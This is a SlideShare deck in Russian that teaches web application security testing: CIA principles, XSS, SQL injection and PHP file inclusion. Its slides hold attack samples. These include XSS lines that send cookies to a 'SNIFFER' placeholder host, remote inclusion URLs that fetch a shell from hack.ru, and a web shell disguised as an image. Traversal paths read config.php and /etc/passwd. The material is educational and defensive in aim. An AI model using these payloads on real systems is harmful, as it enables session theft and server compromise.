SlideShare a Scribd company logo
1 of 14
Тестирование безопасности
  или Security and Access
      Control Testing
Принципы безопасности ПО
 • Конфиденциальность

 • Целостность

 • Доступность
Конфиденциальность
Конфиденциальность - это сокрытие определенных
ресурсов или информации. Под конфиденциальностью
можно понимать ограничение доступа к ресурсу
некоторой категории пользователей, или другими
словами,    при   каких     условиях   пользователь
авторизован получить доступ к данному ресурсу.
Целостность
Целостность - ожидается, что ресурс будет изменен
только соответствующим способом определенной
группой пользователей. Является условием того, что
данные      не      были       несанкционированно
модифицированы при выполнении любой операции
над ними, будь то передача, хранение или
представление.
Доступность
Доступность - состояние информации (ресурсов
автоматизированной информационной системы), при
котором субъекты, имеющие право доступа, могут
реализовывать их беспрепятственно. Как правило, чем
более критичен ресурс тем выше уровень доступности
должен быть.
Основные типы уязвимостей
    Web-приложений
     • XSS injection

     • SQL injection

     • PHP injection
XSS injection
         (Cross Site Scripting)
XSS injection - тип уязвимости интерактивных
информационных систем в вебе. XSS возникает, когда в
генерируемые сервером страницы по какой-то
причине     попадают   пользовательские    скрипты.
Специфика подобных атак заключается в том, что
вместо непосредственной атаки сервера они
используют уязвимый сервер в качестве средства атаки
на клиента.
XSS injection
            (Cross Site Scripting)
                             Примеры:

• <script>alert(‘XSS’)</script>

• <IMG SRC="javascript:alert('XSS');">

• <script src="http://oursite/blabla.js"></script>

• <script>document.location="SNIFFER"+document.cookie</script>

•   <script>img=new Image();img.src="SNIFFER"+document.cookie</script>
SQL injection
SQL–injection - один из распространённых способов
взлома сайтов и программ, работающих с базами
данных, основанный на внедрении в запрос
произвольного SQL-кода.
Внедрение SQL, в зависимости от типа используемой
СУБД и условий внедрения, может дать возможность
атакующему выполнить произвольный запрос к базе
данных, получить возможность чтения и/или записи
локальных файлов и т.д.
SQL injection
                Исходная страница: site.com/index.php?id=1

                                  Примеры:

•   site.com/index.php?id=1 ‘ (Выводит ошибку)

•   site.com/index.php?id=1 blablabla (Выводит ошибку)

•   site.com/index.php?id=2-1(Выводит страницу 1)

•   site.com/index.php?id=1*1(Выводит страницу 1)

•   site.com/index.php?id=1*2(Выводит страницу 2)

•   site.com/index.php?id=1+and+1=1(Выводит страницу 1)

•   site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)
PHP injection
PHP injection - один из способов взлома веб-сайтов,
работающих на PHP, заключающийся в выполнении
постороннего кода на серверной стороне. Потенциально
опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().

PHP-инъекция становится возможной, если входные
параметры принимаются и используются без проверки.
PHP injection
           Удалённый инклуд (Remote File Inclusion)
<?php
  if($_GET['page'].'.php')
  {
      include($_GET['page'].'.php');
  }
  else
  {
      include($file.'.php');
  }
?>

• Нет проверки на существование значения $_GET['page']
       http://site.ru/index.php?page=http://hack.ru/shell

• Переменная $file не была определена раннее
      http://site.ru/index.php?file=http://hack.ru/shell
PHP injection
              Локальный инклуд (Local File Inclusion)
<?php
  …
  include("include/$file");
  …
?>

• Под видом картинки заливаем веб-шелл:
http://www.site.com/index.php?include=../forum/images/shell.jpg

• Если знаем движок и структуру приложения, можем
   прочитать конфигурационные файлы:
http://www.site.com/index.php?include=../forum/admin/config.php

• Либо даже так:
http://www.site.com/index.php?include=../../../../etc/passwd
Что почитать по теме?
• XSS (Cross Site Scripting) Cheat Sheet
   http://ha.ckers.org/xss.html

• Много статей по SQL/PHP/XSS-inj с примерами
  http://forum.antichat.ru/thread19610.html

More Related Content

What's hot

Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
Dmitry Evteev
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
ISsoft
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
Dmitry Evteev
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
yaevents
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
Dmitry Evteev
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
phpdevby
 

What's hot (20)

Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
4.3. Rat races conditions
4.3. Rat races conditions4.3. Rat races conditions
4.3. Rat races conditions
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Improving web application defenses against XSS.
Improving web application defenses against XSS.Improving web application defenses against XSS.
Improving web application defenses against XSS.
 
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, СовкомбанкЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
 
DocHolder
DocHolderDocHolder
DocHolder
 
Безопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьБезопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальность
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 

Similar to Security testing

безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиков
Media Gorod
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Ontico
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
Dmitry Evteev
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
Albina Tiupa
 
Особенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыОсобенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферы
Digital Security
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
it-people
 

Similar to Security testing (20)

безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиков
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCode
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметра
 
Secure development
Secure developmentSecure development
Secure development
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схеми
 
разработка безопасного кода
разработка безопасного кодаразработка безопасного кода
разработка безопасного кода
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Безопасность
БезопасностьБезопасность
Безопасность
 
Безопасность и масштабируемость данных
Безопасность и масштабируемость данныхБезопасность и масштабируемость данных
Безопасность и масштабируемость данных
 
Особенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыОсобенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферы
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
 

More from MageCloud

Yii development
Yii developmentYii development
Yii development
MageCloud
 
Project lifecircle
Project lifecircleProject lifecircle
Project lifecircle
MageCloud
 
Management of projects
Management of projectsManagement of projects
Management of projects
MageCloud
 
Magento ecommerce
Magento ecommerceMagento ecommerce
Magento ecommerce
MageCloud
 
Dotnet development
Dotnet developmentDotnet development
Dotnet development
MageCloud
 
Corporate structure project_team
Corporate structure project_teamCorporate structure project_team
Corporate structure project_team
MageCloud
 
Continuous integration
Continuous integrationContinuous integration
Continuous integration
MageCloud
 
Clientside optimization
Clientside optimizationClientside optimization
Clientside optimization
MageCloud
 
Automated testing
Automated testingAutomated testing
Automated testing
MageCloud
 

More from MageCloud (20)

How to find the Right Mobile and Cloud Application Development Company for Yo...
How to find the Right Mobile and Cloud Application Development Company for Yo...How to find the Right Mobile and Cloud Application Development Company for Yo...
How to find the Right Mobile and Cloud Application Development Company for Yo...
 
First Steps to Mobile Sites and Apps
First Steps to Mobile Sites and AppsFirst Steps to Mobile Sites and Apps
First Steps to Mobile Sites and Apps
 
Optimizing Magento for Peak Performance
Optimizing Magento for Peak PerformanceOptimizing Magento for Peak Performance
Optimizing Magento for Peak Performance
 
Cloud Based Business Application Development
Cloud Based Business Application DevelopmentCloud Based Business Application Development
Cloud Based Business Application Development
 
Three keys to successful banner ads
Three keys to successful banner adsThree keys to successful banner ads
Three keys to successful banner ads
 
Two Facets of Great e-Commerce: PPC and Landing Page Best Practices
Two Facets of Great e-Commerce: PPC and Landing Page Best PracticesTwo Facets of Great e-Commerce: PPC and Landing Page Best Practices
Two Facets of Great e-Commerce: PPC and Landing Page Best Practices
 
Yii development
Yii developmentYii development
Yii development
 
Testing
TestingTesting
Testing
 
Project lifecircle
Project lifecircleProject lifecircle
Project lifecircle
 
Management of projects
Management of projectsManagement of projects
Management of projects
 
Magento ecommerce
Magento ecommerceMagento ecommerce
Magento ecommerce
 
Graphics
GraphicsGraphics
Graphics
 
Dotnet development
Dotnet developmentDotnet development
Dotnet development
 
Corporate structure project_team
Corporate structure project_teamCorporate structure project_team
Corporate structure project_team
 
Continuous integration
Continuous integrationContinuous integration
Continuous integration
 
Clientside optimization
Clientside optimizationClientside optimization
Clientside optimization
 
Automated testing
Automated testingAutomated testing
Automated testing
 
Amazon
AmazonAmazon
Amazon
 
Agile
AgileAgile
Agile
 
Webdesign
WebdesignWebdesign
Webdesign
 

Security testing

  • 1. Тестирование безопасности или Security and Access Control Testing
  • 2. Принципы безопасности ПО • Конфиденциальность • Целостность • Доступность
  • 3. Конфиденциальность Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.
  • 4. Целостность Целостность - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. Является условием того, что данные не были несанкционированно модифицированы при выполнении любой операции над ними, будь то передача, хранение или представление.
  • 5. Доступность Доступность - состояние информации (ресурсов автоматизированной информационной системы), при котором субъекты, имеющие право доступа, могут реализовывать их беспрепятственно. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.
  • 6. Основные типы уязвимостей Web-приложений • XSS injection • SQL injection • PHP injection
  • 7. XSS injection (Cross Site Scripting) XSS injection - тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.
  • 8. XSS injection (Cross Site Scripting) Примеры: • <script>alert(‘XSS’)</script> • <IMG SRC="javascript:alert('XSS');"> • <script src="http://oursite/blabla.js"></script> • <script>document.location="SNIFFER"+document.cookie</script> • <script>img=new Image();img.src="SNIFFER"+document.cookie</script>
  • 9. SQL injection SQL–injection - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и т.д.
  • 10. SQL injection Исходная страница: site.com/index.php?id=1 Примеры: • site.com/index.php?id=1 ‘ (Выводит ошибку) • site.com/index.php?id=1 blablabla (Выводит ошибку) • site.com/index.php?id=2-1(Выводит страницу 1) • site.com/index.php?id=1*1(Выводит страницу 1) • site.com/index.php?id=1*2(Выводит страницу 2) • site.com/index.php?id=1+and+1=1(Выводит страницу 1) • site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)
  • 11. PHP injection PHP injection - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются: eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function(). PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
  • 12. PHP injection Удалённый инклуд (Remote File Inclusion) <?php if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); } ?> • Нет проверки на существование значения $_GET['page'] http://site.ru/index.php?page=http://hack.ru/shell • Переменная $file не была определена раннее http://site.ru/index.php?file=http://hack.ru/shell
  • 13. PHP injection Локальный инклуд (Local File Inclusion) <?php … include("include/$file"); … ?> • Под видом картинки заливаем веб-шелл: http://www.site.com/index.php?include=../forum/images/shell.jpg • Если знаем движок и структуру приложения, можем прочитать конфигурационные файлы: http://www.site.com/index.php?include=../forum/admin/config.php • Либо даже так: http://www.site.com/index.php?include=../../../../etc/passwd
  • 14. Что почитать по теме? • XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html • Много статей по SQL/PHP/XSS-inj с примерами http://forum.antichat.ru/thread19610.html